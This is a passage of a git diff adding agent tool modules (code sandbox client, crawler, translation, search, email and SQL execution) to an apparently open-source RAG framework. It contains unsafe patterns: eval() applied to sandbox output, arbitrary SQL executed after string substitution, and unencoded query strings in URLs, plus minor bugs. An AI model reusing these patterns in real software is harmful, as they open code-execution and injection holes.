+# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import base64 +import logging +import os +from abc import ABC +from strenum import StrEnum +from typing import Optional +from pydantic import BaseModel, Field, field_validator +from agent.tools.base import ToolParamBase, ToolBase, ToolMeta +from api import settings +from api.utils.api_utils import timeout + + +class Language(StrEnum): + PYTHON = "python" + NODEJS = "nodejs" + + +class CodeExecutionRequest(BaseModel): + code_b64: str = Field(..., description="Base64 encoded code string") + language: str = Field(default=Language.PYTHON.value, description="Programming language") + arguments: Optional[dict] = Field(default={}, description="Arguments") + + @field_validator("code_b64") + @classmethod + def validate_base64(cls, v: str) -> str: + try: + base64.b64decode(v, validate=True) + return v + except Exception as e: + raise ValueError(f"Invalid base64 encoding: {str(e)}") + + @field_validator("language", mode="before") + @classmethod + def normalize_language(cls, v) -> str: + if isinstance(v, str): + low = v.lower() + if low in ("python", "python3"): + return "python" + elif low in ("javascript", "nodejs"): + return "nodejs" + raise ValueError(f"Unsupported language: {v}") + + +class CodeExecParam(ToolParamBase): + """ + Define the code sandbox component parameters. + """ + + def __init__(self): + self.meta:ToolMeta = { + "name": "execute_code", + "description": """ +This tool has a sandbox that can execute code written in 'Python'/'Javascript'. It recieves a piece of code and return a Json string. +Here's a code example for Python(`main` function MUST be included): +def main() -> dict: + \"\"\" + Generate Fibonacci numbers within 100. + \"\"\" + def fibonacci_recursive(n): + if n <= 1: + return n + else: + return fibonacci_recursive(n-1) + fibonacci_recursive(n-2) + return { + "result": fibonacci_recursive(100), + } + +Here's a code example for Javascript(`main` function MUST be included and exported): +const axios = require('axios'); +async function main(args) { + try { + const response = await axios.get('https://github.com/infiniflow/ragflow'); + console.log('Body:', response.data); + } catch (error) { + console.error('Error:', error.message); + } +} +module.exports = { main }; + """, + "parameters": { + "lang": { + "type": "string", + "description": "The programming language of this piece of code.", + "enum": ["python", "javascript"], + "required": True, + }, + "script": { + "type": "string", + "description": "A piece of code in right format. There MUST be main function.", + "required": True + } + } + } + super().__init__() + self.lang = Language.PYTHON.value + self.script = "def main(arg1: str, arg2: str) -> dict: return {\"result\": arg1 + arg2}" + self.arguments = {} + self.outputs = {"result": {"value": "", "type": "string"}} + + def check(self): + self.check_valid_value(self.lang, "Support languages", ["python", "python3", "nodejs", "javascript"]) + self.check_empty(self.script, "Script") + + def get_input_form(self) -> dict[str, dict]: + res = {} + for k, v in self.arguments.items(): + res[k] = { + "type": "line", + "name": k + } + return res + + +class CodeExec(ToolBase, ABC): + component_name = "CodeExec" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60))) + def _invoke(self, **kwargs): + lang = kwargs.get("lang", self._param.lang) + script = kwargs.get("script", self._param.script) + arguments = {} + for k, v in self._param.arguments.items(): + if kwargs.get(k): + arguments[k] = kwargs[k] + continue + arguments[k] = self._canvas.get_variable_value(v) if v else None + + self._execute_code( + language=lang, + code=script, + arguments=arguments + ) + + def _execute_code(self, language: str, code: str, arguments: dict): + import requests + + try: + code_b64 = self._encode_code(code) + code_req = CodeExecutionRequest(code_b64=code_b64, language=language, arguments=arguments).model_dump() + except Exception as e: + self.set_output("_ERROR", "construct code request error: " + str(e)) + + try: + resp = requests.post(url=f"http://{settings.SANDBOX_HOST}:9385/run", json=code_req, timeout=int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60))) + logging.info(f"http://{settings.SANDBOX_HOST}:9385/run, code_req: {code_req}, resp.status_code {resp.status_code}:") + if resp.status_code != 200: + resp.raise_for_status() + body = resp.json() + if body: + stderr = body.get("stderr") + if stderr: + self.set_output("_ERROR", stderr) + return + try: + rt = eval(body.get("stdout", "")) + except Exception: + rt = body.get("stdout", "") + logging.info(f"http://{settings.SANDBOX_HOST}:9385/run -> {rt}") + if isinstance(rt, tuple): + for i, (k, o) in enumerate(self._param.outputs.items()): + if k.find("_") == 0: + continue + o["value"] = rt[i] + elif isinstance(rt, dict): + for i, (k, o) in enumerate(self._param.outputs.items()): + if k not in rt or k.find("_") == 0: + continue + o["value"] = rt[k] + else: + for i, (k, o) in enumerate(self._param.outputs.items()): + if k.find("_") == 0: + continue + o["value"] = rt + else: + self.set_output("_ERROR", "There is no response from sandbox") + + except Exception as e: + self.set_output("_ERROR", "Exception executing code: " + str(e)) + + return self.output() + + def _encode_code(self, code: str) -> str: + return base64.b64encode(code.encode("utf-8")).decode("utf-8") + + def thoughts(self) -> str: + return "Running a short script to process data." diff --git a/agent/tools/crawler.py b/agent/tools/crawler.py new file mode 100644 index 0000000..869fae4 --- /dev/null +++ b/agent/tools/crawler.py @@ -0,0 +1,68 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from abc import ABC +import asyncio +from crawl4ai import AsyncWebCrawler +from agent.tools.base import ToolParamBase, ToolBase + + + +class CrawlerParam(ToolParamBase): + """ + Define the Crawler component parameters. + """ + + def __init__(self): + super().__init__() + self.proxy = None + self.extract_type = "markdown" + + def check(self): + self.check_valid_value(self.extract_type, "Type of content from the crawler", ['html', 'markdown', 'content']) + + +class Crawler(ToolBase, ABC): + component_name = "Crawler" + + def _run(self, history, **kwargs): + from api.utils.web_utils import is_valid_url + ans = self.get_input() + ans = " - ".join(ans["content"]) if "content" in ans else "" + if not is_valid_url(ans): + return Crawler.be_output("URL not valid") + try: + result = asyncio.run(self.get_web(ans)) + + return Crawler.be_output(result) + + except Exception as e: + return Crawler.be_output(f"An unexpected error occurred: {str(e)}") + + async def get_web(self, url): + proxy = self._param.proxy if self._param.proxy else None + async with AsyncWebCrawler(verbose=True, proxy=proxy) as crawler: + result = await crawler.arun( + url=url, + bypass_cache=True + ) + + if self._param.extract_type == 'html': + return result.cleaned_html + elif self._param.extract_type == 'markdown': + return result.markdown + elif self._param.extract_type == 'content': + return result.extracted_content + return result.markdown diff --git a/agent/tools/deepl.py b/agent/tools/deepl.py new file mode 100644 index 0000000..41d1234 --- /dev/null +++ b/agent/tools/deepl.py @@ -0,0 +1,61 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from abc import ABC +from agent.component.base import ComponentBase, ComponentParamBase +import deepl + + +class DeepLParam(ComponentParamBase): + """ + Define the DeepL component parameters. + """ + + def __init__(self): + super().__init__() + self.auth_key = "xxx" + self.parameters = [] + self.source_lang = 'ZH' + self.target_lang = 'EN-GB' + + def check(self): + self.check_positive_integer(self.top_n, "Top N") + self.check_valid_value(self.source_lang, "Source language", + ['AR', 'BG', 'CS', 'DA', 'DE', 'EL', 'EN', 'ES', 'ET', 'FI', 'FR', 'HU', 'ID', 'IT', + 'JA', 'KO', 'LT', 'LV', 'NB', 'NL', 'PL', 'PT', 'RO', 'RU', 'SK', 'SL', 'SV', 'TR', + 'UK', 'ZH']) + self.check_valid_value(self.target_lang, "Target language", + ['AR', 'BG', 'CS', 'DA', 'DE', 'EL', 'EN-GB', 'EN-US', 'ES', 'ET', 'FI', 'FR', 'HU', + 'ID', 'IT', 'JA', 'KO', 'LT', 'LV', 'NB', 'NL', 'PL', 'PT-BR', 'PT-PT', 'RO', 'RU', + 'SK', 'SL', 'SV', 'TR', 'UK', 'ZH']) + + +class DeepL(ComponentBase, ABC): + component_name = "DeepL" + + def _run(self, history, **kwargs): + ans = self.get_input() + ans = " - ".join(ans["content"]) if "content" in ans else "" + if not ans: + return DeepL.be_output("") + + try: + translator = deepl.Translator(self._param.auth_key) + result = translator.translate_text(ans, source_lang=self._param.source_lang, + target_lang=self._param.target_lang) + + return DeepL.be_output(result.text) + except Exception as e: + DeepL.be_output("**Error**:" + str(e)) diff --git a/agent/tools/duckduckgo.py b/agent/tools/duckduckgo.py new file mode 100644 index 0000000..0315d69 --- /dev/null +++ b/agent/tools/duckduckgo.py @@ -0,0 +1,120 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import os +import time +from abc import ABC +from duckduckgo_search import DDGS +from agent.tools.base import ToolMeta, ToolParamBase, ToolBase +from api.utils.api_utils import timeout + + +class DuckDuckGoParam(ToolParamBase): + """ + Define the DuckDuckGo component parameters. + """ + + def __init__(self): + self.meta:ToolMeta = { + "name": "duckduckgo_search", + "description": "DuckDuckGo is a search engine focused on privacy. It offers search capabilities for web pages, images, and provides translation services. DuckDuckGo also features a private AI chat interface, providing users with an AI assistant that prioritizes data protection.", + "parameters": { + "query": { + "type": "string", + "description": "The search keywords to execute with DuckDuckGo. The keywords should be the most important words/terms(includes synonyms) from the original request.", + "default": "{sys.query}", + "required": True + }, + "channel": { + "type": "string", + "description": "default:general. The category of the search. `news` is useful for retrieving real-time updates, particularly about politics, sports, and major current events covered by mainstream media sources. `general` is for broader, more general-purpose searches that may include a wide range of sources.", + "enum": ["general", "news"], + "default": "general", + "required": False, + }, + } + } + super().__init__() + self.top_n = 10 + self.channel = "text" + + def check(self): + self.check_positive_integer(self.top_n, "Top N") + self.check_valid_value(self.channel, "Web Search or News", ["text", "news"]) + + def get_input_form(self) -> dict[str, dict]: + return { + "query": { + "name": "Query", + "type": "line" + }, + "channel": { + "name": "Channel", + "type": "options", + "value": "general", + "options": ["general", "news"] + } + } + + +class DuckDuckGo(ToolBase, ABC): + component_name = "DuckDuckGo" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12))) + def _invoke(self, **kwargs): + if not kwargs.get("query"): + self.set_output("formalized_content", "") + return "" + + last_e = "" + for _ in range(self._param.max_retries+1): + try: + if kwargs.get("topic", "general") == "general": + with DDGS() as ddgs: + # {'title': '', 'href': '', 'body': ''} + duck_res = ddgs.text(kwargs["query"], max_results=self._param.top_n) + self._retrieve_chunks(duck_res, + get_title=lambda r: r["title"], + get_url=lambda r: r.get("href", r.get("url")), + get_content=lambda r: r["body"]) + self.set_output("json", duck_res) + return self.output("formalized_content") + else: + with DDGS() as ddgs: + # {'date': '', 'title': '', 'body': '', 'url': '', 'image': '', 'source': ''} + duck_res = ddgs.news(kwargs["query"], max_results=self._param.top_n) + self._retrieve_chunks(duck_res, + get_title=lambda r: r["title"], + get_url=lambda r: r.get("href", r.get("url")), + get_content=lambda r: r["body"]) + self.set_output("json", duck_res) + return self.output("formalized_content") + except Exception as e: + last_e = e + logging.exception(f"DuckDuckGo error: {e}") + time.sleep(self._param.delay_after_error) + + if last_e: + self.set_output("_ERROR", str(last_e)) + return f"DuckDuckGo error: {last_e}" + + assert False, self.output() + + def thoughts(self) -> str: + return """ +Keywords: {} +Looking for the most relevant articles. + """.format(self.get_input().get("query", "-_-!")) diff --git a/agent/tools/email.py b/agent/tools/email.py new file mode 100644 index 0000000..ab6cc6e --- /dev/null +++ b/agent/tools/email.py @@ -0,0 +1,215 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import os +import time +from abc import ABC +import json +import smtplib +import logging +from email.mime.text import MIMEText +from email.mime.multipart import MIMEMultipart +from email.header import Header +from email.utils import formataddr + +from agent.tools.base import ToolParamBase, ToolBase, ToolMeta +from api.utils.api_utils import timeout + + +class EmailParam(ToolParamBase): + """ + Define the Email component parameters. + """ + def __init__(self): + self.meta:ToolMeta = { + "name": "email", + "description": "The email is a method of electronic communication for sending and receiving information through the Internet. This tool helps users to send emails to one person or to multiple recipients with support for CC, BCC, file attachments, and markdown-to-HTML conversion.", + "parameters": { + "to_email": { + "type": "string", + "description": "The target email address.", + "default": "{sys.query}", + "required": True + }, + "cc_email": { + "type": "string", + "description": "The other email addresses needs to be send to. Comma splited.", + "default": "", + "required": False + }, + "content": { + "type": "string", + "description": "The content of the email.", + "default": "", + "required": False + }, + "subject": { + "type": "string", + "description": "The subject/title of the email.", + "default": "", + "required": False + } + } + } + super().__init__() + # Fixed configuration parameters + self.smtp_server = "" # SMTP server address + self.smtp_port = 465 # SMTP port + self.email = "" # Sender email + self.password = "" # Email authorization code + self.sender_name = "" # Sender name + + def check(self): + # Check required parameters + self.check_empty(self.smtp_server, "SMTP Server") + self.check_empty(self.email, "Email") + self.check_empty(self.password, "Password") + self.check_empty(self.sender_name, "Sender Name") + + def get_input_form(self) -> dict[str, dict]: + return { + "to_email": { + "name": "To ", + "type": "line" + }, + "subject": { + "name": "Subject", + "type": "line", + "optional": True + }, + "cc_email": { + "name": "CC To", + "type": "line", + "optional": True + }, + } + +class Email(ToolBase, ABC): + component_name = "Email" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 60))) + def _invoke(self, **kwargs): + if not kwargs.get("to_email"): + self.set_output("success", False) + return "" + + last_e = "" + for _ in range(self._param.max_retries+1): + try: + # Parse JSON string passed from upstream + email_data = kwargs + + # Validate required fields + if "to_email" not in email_data: + return Email.be_output("Missing required field: to_email") + + # Create email object + msg = MIMEMultipart('alternative') + + # Properly handle sender name encoding + msg['From'] = formataddr((str(Header(self._param.sender_name,'utf-8')), self._param.email)) + msg['To'] = email_data["to_email"] + if email_data.get("cc_email"): + msg['Cc'] = email_data["cc_email"] + msg['Subject'] = Header(email_data.get("subject", "No Subject"), 'utf-8').encode() + + # Use content from email_data or default content + email_content = email_data.get("content", "No content provided") + # msg.attach(MIMEText(email_content, 'plain', 'utf-8')) + msg.attach(MIMEText(email_content, 'html', 'utf-8')) + + # Connect to SMTP server and send + logging.info(f"Connecting to SMTP server {self._param.smtp_server}:{self._param.smtp_port}") + + context = smtplib.ssl.create_default_context() + with smtplib.SMTP(self._param.smtp_server, self._param.smtp_port) as server: + server.ehlo() + server.starttls(context=context) + server.ehlo() + # Login + logging.info(f"Attempting to login with email: {self._param.email}") + server.login(self._param.email, self._param.password) + + # Get all recipient list + recipients = [email_data["to_email"]] + if email_data.get("cc_email"): + recipients.extend(email_data["cc_email"].split(',')) + + # Send email + logging.info(f"Sending email to recipients: {recipients}") + try: + server.send_message(msg, self._param.email, recipients) + success = True + except Exception as e: + logging.error(f"Error during send_message: {str(e)}") + # Try alternative method + server.sendmail(self._param.email, recipients, msg.as_string()) + success = True + + try: + server.quit() + except Exception as e: + # Ignore errors when closing connection + logging.warning(f"Non-fatal error during connection close: {str(e)}") + + self.set_output("success", success) + return success + + except json.JSONDecodeError: + error_msg = "Invalid JSON format in input" + logging.error(error_msg) + self.set_output("_ERROR", error_msg) + self.set_output("success", False) + return False + + except smtplib.SMTPAuthenticationError: + error_msg = "SMTP Authentication failed. Please check your email and authorization code." + logging.error(error_msg) + self.set_output("_ERROR", error_msg) + self.set_output("success", False) + return False + + except smtplib.SMTPConnectError: + error_msg = f"Failed to connect to SMTP server {self._param.smtp_server}:{self._param.smtp_port}" + logging.error(error_msg) + last_e = error_msg + time.sleep(self._param.delay_after_error) + + except smtplib.SMTPException as e: + error_msg = f"SMTP error occurred: {str(e)}" + logging.error(error_msg) + last_e = error_msg + time.sleep(self._param.delay_after_error) + + except Exception as e: + error_msg = f"Unexpected error: {str(e)}" + logging.error(error_msg) + self.set_output("_ERROR", error_msg) + self.set_output("success", False) + return False + + if last_e: + self.set_output("_ERROR", str(last_e)) + return False + + assert False, self.output() + + def thoughts(self) -> str: + inputs = self.get_input() + return """ +To: {} +Subject: {} +Your email is on its way—sit tight! +""".format(inputs.get("to_email", "-_-!"), inputs.get("subject", "-_-!")) diff --git a/agent/tools/exesql.py b/agent/tools/exesql.py new file mode 100644 index 0000000..2e1cc24 --- /dev/null +++ b/agent/tools/exesql.py @@ -0,0 +1,212 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import os +import re +from abc import ABC +import pandas as pd +import pymysql +import psycopg2 +import pyodbc +from agent.tools.base import ToolParamBase, ToolBase, ToolMeta +from api.utils.api_utils import timeout + + +class ExeSQLParam(ToolParamBase): + """ + Define the ExeSQL component parameters. + """ + + def __init__(self): + self.meta:ToolMeta = { + "name": "execute_sql", + "description": "This is a tool that can execute SQL.", + "parameters": { + "sql": { + "type": "string", + "description": "The SQL needs to be executed.", + "default": "{sys.query}", + "required": True + } + } + } + super().__init__() + self.db_type = "mysql" + self.database = "" + self.username = "" + self.host = "" + self.port = 3306 + self.password = "" + self.max_records = 1024 + + def check(self): + self.check_valid_value(self.db_type, "Choose DB type", ['mysql', 'postgres', 'mariadb', 'mssql', 'IBM DB2']) + self.check_empty(self.database, "Database name") + self.check_empty(self.username, "database username") + self.check_empty(self.host, "IP Address") + self.check_positive_integer(self.port, "IP Port") + self.check_empty(self.password, "Database password") + self.check_positive_integer(self.max_records, "Maximum number of records") + if self.database == "rag_flow": + if self.host == "ragflow-mysql": + raise ValueError("For the security reason, it dose not support database named rag_flow.") + if self.password == "infini_rag_flow": + raise ValueError("For the security reason, it dose not support database named rag_flow.") + + def get_input_form(self) -> dict[str, dict]: + return { + "sql": { + "name": "SQL", + "type": "line" + } + } + + +class ExeSQL(ToolBase, ABC): + component_name = "ExeSQL" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 60))) + def _invoke(self, **kwargs): + + def convert_decimals(obj): + from decimal import Decimal + if isinstance(obj, Decimal): + return float(obj) # 或 str(obj) + elif isinstance(obj, dict): + return {k: convert_decimals(v) for k, v in obj.items()} + elif isinstance(obj, list): + return [convert_decimals(item) for item in obj] + return obj + + sql = kwargs.get("sql") + if not sql: + raise Exception("SQL for `ExeSQL` MUST not be empty.") + + vars = self.get_input_elements_from_text(sql) + args = {} + for k, o in vars.items(): + args[k] = o["value"] + if not isinstance(args[k], str): + try: + args[k] = json.dumps(args[k], ensure_ascii=False) + except Exception: + args[k] = str(args[k]) + self.set_input_value(k, args[k]) + sql = self.string_format(sql, args) + + sqls = sql.split(";") + if self._param.db_type in ["mysql", "mariadb"]: + db = pymysql.connect(db=self._param.database, user=self._param.username, host=self._param.host, + port=self._param.port, password=self._param.password) + elif self._param.db_type == 'postgres': + db = psycopg2.connect(dbname=self._param.database, user=self._param.username, host=self._param.host, + port=self._param.port, password=self._param.password) + elif self._param.db_type == 'mssql': + conn_str = ( + r'DRIVER={ODBC Driver 17 for SQL Server};' + r'SERVER=' + self._param.host + ',' + str(self._param.port) + ';' + r'DATABASE=' + self._param.database + ';' + r'UID=' + self._param.username + ';' + r'PWD=' + self._param.password + ) + db = pyodbc.connect(conn_str) + elif self._param.db_type == 'IBM DB2': + import ibm_db + conn_str = ( + f"DATABASE={self._param.database};" + f"HOSTNAME={self._param.host};" + f"PORT={self._param.port};" + f"PROTOCOL=TCPIP;" + f"UID={self._param.username};" + f"PWD={self._param.password};" + ) + try: + conn = ibm_db.connect(conn_str, "", "") + except Exception as e: + raise Exception("Database Connection Failed! \n" + str(e)) + + sql_res = [] + formalized_content = [] + for single_sql in sqls: + single_sql = single_sql.replace("```", "").strip() + if not single_sql: + continue + single_sql = re.sub(r"\[ID:[0-9]+\]", "", single_sql) + + stmt = ibm_db.exec_immediate(conn, single_sql) + rows = [] + row = ibm_db.fetch_assoc(stmt) + while row and len(rows) < self._param.max_records: + rows.append(row) + row = ibm_db.fetch_assoc(stmt) + + if not rows: + sql_res.append({"content": "No record in the database!"}) + continue + + df = pd.DataFrame(rows) + for col in df.columns: + if pd.api.types.is_datetime64_any_dtype(df[col]): + df[col] = df[col].dt.strftime("%Y-%m-%d") + + df = df.where(pd.notnull(df), None) + + sql_res.append(convert_decimals(df.to_dict(orient="records"))) + formalized_content.append(df.to_markdown(index=False, floatfmt=".6f")) + + ibm_db.close(conn) + + self.set_output("json", sql_res) + self.set_output("formalized_content", "\n\n".join(formalized_content)) + return self.output("formalized_content") + try: + cursor = db.cursor() + except Exception as e: + raise Exception("Database Connection Failed! \n" + str(e)) + + sql_res = [] + formalized_content = [] + for single_sql in sqls: + single_sql = single_sql.replace('```','') + if not single_sql: + continue + single_sql = re.sub(r"\[ID:[0-9]+\]", "", single_sql) + cursor.execute(single_sql) + if cursor.rowcount == 0: + sql_res.append({"content": "No record in the database!"}) + break + if self._param.db_type == 'mssql': + single_res = pd.DataFrame.from_records(cursor.fetchmany(self._param.max_records), + columns=[desc[0] for desc in cursor.description]) + else: + single_res = pd.DataFrame([i for i in cursor.fetchmany(self._param.max_records)]) + single_res.columns = [i[0] for i in cursor.description] + + for col in single_res.columns: + if pd.api.types.is_datetime64_any_dtype(single_res[col]): + single_res[col] = single_res[col].dt.strftime('%Y-%m-%d') + + single_res = single_res.where(pd.notnull(single_res), None) + + sql_res.append(convert_decimals(single_res.to_dict(orient='records'))) + formalized_content.append(single_res.to_markdown(index=False, floatfmt=".6f")) + + self.set_output("json", sql_res) + self.set_output("formalized_content", "\n\n".join(formalized_content)) + return self.output("formalized_content") + + def thoughts(self) -> str: + return "Query sent—waiting for the data." diff --git a/agent/tools/github.py b/agent/tools/github.py new file mode 100644 index 0000000..27cb1e3 --- /dev/null +++ b/agent/tools/github.py @@ -0,0 +1,91 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import os +import time +from abc import ABC +import requests +from agent.tools.base import ToolParamBase, ToolMeta, ToolBase +from api.utils.api_utils import timeout + + +class GitHubParam(ToolParamBase): + """ + Define the GitHub component parameters. + """ + + def __init__(self): + self.meta:ToolMeta = { + "name": "github_search", + "description": """GitHub repository search is a feature that enables users to find specific repositories on the GitHub platform. This search functionality allows users to locate projects, codebases, and other content hosted on GitHub based on various criteria.""", + "parameters": { + "query": { + "type": "string", + "description": "The search keywords to execute with GitHub. The keywords should be the most important words/terms(includes synonyms) from the original request.", + "default": "{sys.query}", + "required": True + } + } + } + super().__init__() + self.top_n = 10 + + def check(self): + self.check_positive_integer(self.top_n, "Top N") + + def get_input_form(self) -> dict[str, dict]: + return { + "query": { + "name": "Query", + "type": "line" + } + } + +class GitHub(ToolBase, ABC): + component_name = "GitHub" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12))) + def _invoke(self, **kwargs): + if not kwargs.get("query"): + self.set_output("formalized_content", "") + return "" + + last_e = "" + for _ in range(self._param.max_retries+1): + try: + url = 'https://api.github.com/search/repositories?q=' + kwargs["query"] + '&sort=stars&order=desc&per_page=' + str( + self._param.top_n) + headers = {"Content-Type": "application/vnd.github+json", "X-GitHub-Api-Version": '2022-11-28'} + response = requests.get(url=url, headers=headers).json() + self._retrieve_chunks(response['items'], + get_title=lambda r: r["name"], + get_url=lambda r: r["html_url"], + get_content=lambda r: str(r["description"]) + '\n stars:' + str(r['watchers'])) + self.set_output("json", response['items']) + return self.output("formalized_content") + except Exception as e: + last_e = e + logging.exception(f"GitHub error: {e}") + time.sleep(self._param.delay_after_error) + + if last_e: + self.set_output("_ERROR", str(last_e)) + return f"GitHub error: {last_e}" + + assert False, self.output() + + def thoughts(self) -> str: + return "Scanning GitHub repos related to `{}`.".format(self.get_input().get("query", "-_-!")) diff --git a/agent/tools/google.py b/agent/tools/google.py new file mode 100644 index 0000000..455038a --- /dev/null +++ b/agent/tools/google.py @@ -0,0 +1,159 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import os +import time +from abc import ABC +from serpapi import GoogleSearch +from agent.tools.base import ToolParamBase, ToolMeta, ToolBase +from api.utils.api_utils import timeout + + +class GoogleParam(ToolParamBase): + """ + Define the Google component parameters. + """ + + def __init__(self): + self.meta:ToolMeta = { + "name": "google_search", + "description": """Search the world's information, including webpages, images, videos and more. Google has many special features to help you find exactly what you're looking ...""", + "parameters": { + "q": { + "type": "string", + "description": "The search keywords to execute with Google. The keywords should be the most important words/terms(includes synonyms) from the original request.", + "default": "{sys.query}", + "required": True + }, + "start": { + "type": "integer", + "description": "Parameter defines the result offset. It skips the given number of results. It's used for pagination. (e.g., 0 (default) is the first page of results, 10 is the 2nd page of results, 20 is the 3rd page of results, etc.). Google Local Results only accepts multiples of 20(e.g. 20 for the second page results, 40 for the third page results, etc.) as the `start` value.", + "default": "0", + "required": False, + }, + "num": { + "type": "integer", + "description": "Parameter defines the maximum number of results to return. (e.g., 10 (default) returns 10 results, 40 returns 40 results, and 100 returns 100 results). The use of num may introduce latency, and/or prevent the inclusion of specialized result types. It is better to omit this parameter unless it is strictly necessary to increase the number of results per page. Results are not guaranteed to have the number of results specified in num.", + "default": "6", + "required": False, + } + } + } + super().__init__() + self.start = 0 + self.num = 6 + self.api_key = "" + self.country = "cn" + self.language = "en" + + def check(self): + self.check_empty(self.api_key, "SerpApi API key") + self.check_valid_value(self.country, "Google Country", + ['af', 'al', 'dz', 'as', 'ad', 'ao', 'ai', 'aq', 'ag', 'ar', 'am', 'aw', 'au', 'at', + 'az', 'bs', 'bh', 'bd', 'bb', 'by', 'be', 'bz', 'bj', 'bm', 'bt', 'bo', 'ba', 'bw', + 'bv', 'br', 'io', 'bn', 'bg', 'bf', 'bi', 'kh', 'cm', 'ca', 'cv', 'ky', 'cf', 'td', + 'cl', 'cn', 'cx', 'cc', 'co', 'km', 'cg', 'cd', 'ck', 'cr', 'ci', 'hr', 'cu', 'cy', + 'cz', 'dk', 'dj', 'dm', 'do', 'ec', 'eg', 'sv', 'gq', 'er', 'ee', 'et', 'fk', 'fo', + 'fj', 'fi', 'fr', 'gf', 'pf', 'tf', 'ga', 'gm', 'ge', 'de', 'gh', 'gi', 'gr', 'gl', + 'gd', 'gp', 'gu', 'gt', 'gn', 'gw', 'gy', 'ht', 'hm', 'va', 'hn', 'hk', 'hu', 'is', + 'in', 'id', 'ir', 'iq', 'ie', 'il', 'it', 'jm', 'jp', 'jo', 'kz', 'ke', 'ki', 'kp', + 'kr', 'kw', 'kg', 'la', 'lv', 'lb', 'ls', 'lr', 'ly', 'li', 'lt', 'lu', 'mo', 'mk', + 'mg', 'mw', 'my', 'mv', 'ml', 'mt', 'mh', 'mq', 'mr', 'mu', 'yt', 'mx', 'fm', 'md', + 'mc', 'mn', 'ms', 'ma', 'mz', 'mm', 'na', 'nr', 'np', 'nl', 'an', 'nc', 'nz', 'ni', + 'ne', 'ng', 'nu', 'nf', 'mp', 'no', 'om', 'pk', 'pw', 'ps', 'pa', 'pg', 'py', 'pe', + 'ph', 'pn', 'pl', 'pt', 'pr', 'qa', 're', 'ro', 'ru', 'rw', 'sh', 'kn', 'lc', 'pm', + 'vc', 'ws', 'sm', 'st', 'sa', 'sn', 'rs', 'sc', 'sl', 'sg', 'sk', 'si', 'sb', 'so', + 'za', 'gs', 'es', 'lk', 'sd', 'sr', 'sj', 'sz', 'se', 'ch', 'sy', 'tw', 'tj', 'tz', + 'th', 'tl', 'tg', 'tk', 'to', 'tt', 'tn', 'tr', 'tm', 'tc', 'tv', 'ug', 'ua', 'ae', + 'uk', 'gb', 'us', 'um', 'uy', 'uz', 'vu', 've', 'vn', 'vg', 'vi', 'wf', 'eh', 'ye', + 'zm', 'zw']) + self.check_valid_value(self.language, "Google languages", + ['af', 'ak', 'sq', 'ws', 'am', 'ar', 'hy', 'az', 'eu', 'be', 'bem', 'bn', 'bh', + 'xx-bork', 'bs', 'br', 'bg', 'bt', 'km', 'ca', 'chr', 'ny', 'zh-cn', 'zh-tw', 'co', + 